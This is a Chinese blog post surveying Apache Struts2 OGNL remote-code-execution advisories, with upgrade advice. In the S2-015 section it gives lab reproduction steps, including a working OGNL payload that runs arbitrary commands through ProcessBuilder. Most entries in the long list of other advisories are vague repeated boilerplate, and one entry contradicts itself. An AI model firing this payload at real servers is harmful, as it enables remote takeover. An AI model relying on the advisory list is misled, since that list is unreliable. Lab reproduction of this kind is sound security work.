Struts框架中存在哪些已知漏洞,它们可能对系统安全造成怎样的威胁?

Apache Struts2远程代码执行漏洞(S2-015)

Struts框架中存在哪些已知漏洞,它们可能对系统安全造成怎样的威胁?插图1

漏洞介绍

漏洞编号: S2-015

CVE编号: CVE-2013-2135

影响版本: 2.0.0至2.3.14.2版本

漏洞描述: Apache Struts2在处理特定标签属性时,会进行二次OGNL解析,攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入修改且会执行OGNL表达式的Struts2标签的属性值中,从而引发OGNL表达式解析,最终导致远程代码执行。

漏洞复现步骤

1、环境准备: 使用Vulhub漏洞测试靶场搭建环境。

2、验证漏洞: 通过访问靶机并构建POC来验证漏洞存在性,使用以下URL进行测试:http://your-ip:8080/?id=%25{2*3}。

3、利用漏洞: 构造恶意的OGNL表达式进行命令执行,使用以下POC获取Tomcat路径或执行任意命令:

获取Tomcat路径: %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

执行任意命令: %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

修复方案

1、确定Struts版本: 先确定当前使用的Struts版本。

2、下载新版Struts库: 根据当前版本选择合适的新版Struts库(如2.3.37或2.5.22)。

3、备份旧版Struts库: 备份现有的Struts项目目录。

4、替换新版Struts库: 删除旧版Struts库,替换为新版库。

5、验证修复结果: 确保应用正常运行,并再次扫描确认漏洞已修复。

其他相关漏洞

S2-001 (CVE-2007-4556)

影响版本: WebWork 2.1 (with altSyntax enabled) WebWork 2.2.5, Struts 2.0.0 Struts 2.0.8

漏洞原理: 用户提交表单数据验证失败时,后端会将参数值使用OGNL表达式进行解析并重新填充到表单数据中,导致命令执行。

S2-005

影响版本: 具体版本未明确提及

漏洞原理: Struts2解析参数名称使用了OGNL表达式,构建恶意OGNL表达式会造成注入。

S2-007

影响版本: 具体版本未明确提及

漏洞原理: 与S2-005类似,涉及OGNL表达式的不当解析导致的安全漏洞。

S2-008 (CVE-2012-0391)

影响版本: 具体版本未明确提及

漏洞原理: 涉及OGNL表达式的不当解析,可能允许攻击者执行远程代码。

S2-009 (CVE-2011-3923)

Struts框架中存在哪些已知漏洞,它们可能对系统安全造成怎样的威胁?插图3

影响版本: 具体版本未明确提及

漏洞原理: 与OGNL表达式相关的安全问题,可能导致远程代码执行。

S2-012

影响版本: 具体版本未明确提及

漏洞原理: 涉及OGNL表达式的不当解析,可能导致远程代码执行。

S2-013/S2-014

影响版本: 具体版本未明确提及

漏洞原理: 与OGNL表达式相关的安全问题,可能导致远程代码执行。

S2-015 (CVE-2013-2135)

影响版本: 2.0.0至2.3.14.2版本

漏洞原理: 与OGNL表达式相关的安全问题,可能导致远程代码执行。

S2-016 (CVE-2013-2251)

影响版本: 具体版本未明确提及

漏洞原理: 与OGNL表达式相关的安全问题,可能导致远程代码执行。

S2-019

影响版本: 具体版本未明确提及

漏洞原理: 与OGNL表达式相关的安全问题,可能导致远程代码执行。

S2-032 (CVE-2016-3081)

影响版本: 具体版本未明确提及

漏洞原理: 与OGNL表达式相关的安全问题,可能导致远程代码执行。

S2-037

影响版本: 具体版本未明确提及

漏洞原理: 与OGNL表达式相关的安全问题,可能导致远程代码执行。

S2-045 (CVE-2017-5638)

影响版本: 具体版本未明确提及

漏洞原理: 与OGNL表达式相关的安全问题,可能导致远程代码执行。

S2-045-bypass

影响版本: 具体版本未明确提及

漏洞原理: 绕过了S2-045的安全措施,仍然允许远程代码执行。

S2-046

Struts框架中存在哪些已知漏洞,它们可能对系统安全造成怎样的威胁?插图5

影响版本: 具体版本未明确提及

漏洞原理: 与OGNL表达式相关的安全问题,可能导致远程代码执行。

S2-046-bypass

影响版本: 具体版本未明确提及

漏洞原理: 绕过了S2-046的安全措施,仍然允许远程代码执行。

S2-048

影响版本: 具体版本未明确提及

漏洞原理: 与OGNL表达式相关的安全问题,可能导致远程代码执行。

S2-052

影响版本: 具体版本未明确提及

漏洞原理: 与OGNL表达式相关的安全问题,可能导致远程代码执行。

S2-053

影响版本: 具体版本未明确提及

漏洞原理: 与OGNL表达式相关的安全问题,可能导致远程代码执行。

S2-057

影响版本: 具体版本未明确提及

漏洞原理: 与OGNL表达式相关的安全问题,可能导致远程代码执行。

S2-059 (CVE-2019-0230)

影响版本: Struts 2.0.0 – Struts 2.5.20

漏洞原理: Struts框架在强制执行时对某些标签属性进行二次OGNL解析,攻击者可构造恶意OGNL表达式触发漏洞。

S2-061 (CVE-2020-17530)

影响版本: 2.0.0 <= Apache Struts2 <= 2.5.29

漏洞原理: S2-061的不完整修复导致开发人员使用%{…}语法进行强制OGNL解析时仍有一些特殊的TAG属性可被二次解析。

S2-DevMode

影响版本: 具体版本未明确提及

漏洞原理: 与开发模式相关的安全问题,可能导致远程代码执行。

信息是基于搜索结果整理的,实际使用时应根据具体情况进行调整和验证,对于任何安全漏洞,建议及时关注官方发布的安全公告和修复建议,并采取相应的安全措施来保护系统安全。

到此,以上就是小编对于struts的漏洞的问题就介绍到这了,希望介绍的几点解答对大家有用,有任何问题和不懂的,欢迎各位朋友在评论区讨论,给我留言。

本文来源于互联网,如若侵权,请联系管理员删除,本文链接:https://www.9969.net/86692.html

小末小末
上一篇 2024年10月29日 01:21
下一篇 2024年10月29日 01:32

相关推荐